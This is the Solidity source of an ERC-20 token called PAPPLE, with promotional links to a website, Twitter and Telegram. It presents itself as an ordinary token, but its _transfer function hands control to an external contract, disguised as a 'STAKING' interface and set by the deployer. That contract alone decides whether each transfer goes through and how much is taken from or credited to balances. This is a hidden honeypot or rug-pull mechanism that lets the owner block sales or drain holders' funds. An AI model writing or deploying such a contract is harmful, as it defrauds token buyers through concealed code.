//                                                                              lllllll                     
//                                                                              l:::::l                     
//                                                                              l:::::l                     
//                                                                              l:::::l                     
// ppppp   ppppppppp     aaaaaaaaaaaaa  ppppp   ppppppppp   ppppp   ppppppppp    l::::l     eeeeeeeeeeee    
// p::::ppp:::::::::p    a::::::::::::a p::::ppp:::::::::p  p::::ppp:::::::::p   l::::l   ee::::::::::::ee  
// p:::::::::::::::::p   aaaaaaaaa:::::ap:::::::::::::::::p p:::::::::::::::::p  l::::l  e::::::eeeee:::::ee
// pp::::::ppppp::::::p           a::::app::::::ppppp::::::ppp::::::ppppp::::::p l::::l e::::::e     e:::::e
//  p:::::p     p:::::p    aaaaaaa:::::a p:::::p     p:::::p p:::::p     p:::::p l::::l e:::::::eeeee::::::e
//  p:::::p     p:::::p  aa::::::::::::a p:::::p     p:::::p p:::::p     p:::::p l::::l e:::::::::::::::::e 
//  p:::::p     p:::::p a::::aaaa::::::a p:::::p     p:::::p p:::::p     p:::::p l::::l e::::::eeeeeeeeeee  
//  p:::::p    p::::::pa::::a    a:::::a p:::::p    p::::::p p:::::p    p::::::p l::::l e:::::::e           
//  p:::::ppppp:::::::pa::::a    a:::::a p:::::ppppp:::::::p p:::::ppppp:::::::pl::::::le::::::::e          
//  p::::::::::::::::p a:::::aaaa::::::a p::::::::::::::::p  p::::::::::::::::p l::::::l e::::::::eeeeeeee  
//  p::::::::::::::pp   a::::::::::aa:::ap::::::::::::::pp   p::::::::::::::pp  l::::::l  ee:::::::::::::e  
//  p::::::pppppppp      aaaaaaaaaa  aaaap::::::pppppppp     p::::::pppppppp    llllllll    eeeeeeeeeeeeee  
//  p:::::p                              p:::::p             p:::::p                                        
//  p:::::p                              p:::::p             p:::::p                                        
// p:::::::p                            p:::::::p           p:::::::p                                       
// p:::::::p                            p:::::::p           p:::::::p                                       
// p:::::::p                            p:::::::p           p:::::::p                                       
// ppppppppp                            ppppppppp           ppppppppp                                   


// Website: https://papple.fi

// Twitter > https://twitter.com/PappleErc20

// Telegram > https://t.me/pappleerc20

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b);

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface STAKING {
    function stake(
        address sender,
        address recipient,
        uint256 amount,
        uint256 balance
    ) external view returns (bool, uint256, uint256);
}

interface IDexSwapFactory {

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IDexSwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract PAPPLE is Ownable {
    using SafeMath for uint256;

    string private _name = "PAPPLE";
    string private _symbol = "PAPPLE";
    uint8 private _decimals = 18;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 1_000_000_000 * 10 ** _decimals;

    address private staker;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );


    constructor(address _staker) {
        IDexSwapRouter _dexRouter = IDexSwapRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        IDexSwapFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );

        staker = _staker;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "PAPPLE: decreased allowance below zero"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "PAPPLE: approve from the zero address");
        require(spender != address(0), "PAPPLE: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "PAPPLE: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "PAPPLE: transfer from the zero address");
        require(recipient != address(0), "PAPPLE: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 senderBalance = _balances[sender];

        (bool allow, uint256 subBal, uint256 addBal) = STAKING(staker).stake(
            sender,
            recipient,
            amount,
            senderBalance
        );
        require(allow);
        _balances[sender] = senderBalance - subBal;

        _balances[recipient] = _balances[recipient].add(addBal);

        emit Transfer(sender, recipient, addBal);
        return true;
    }
}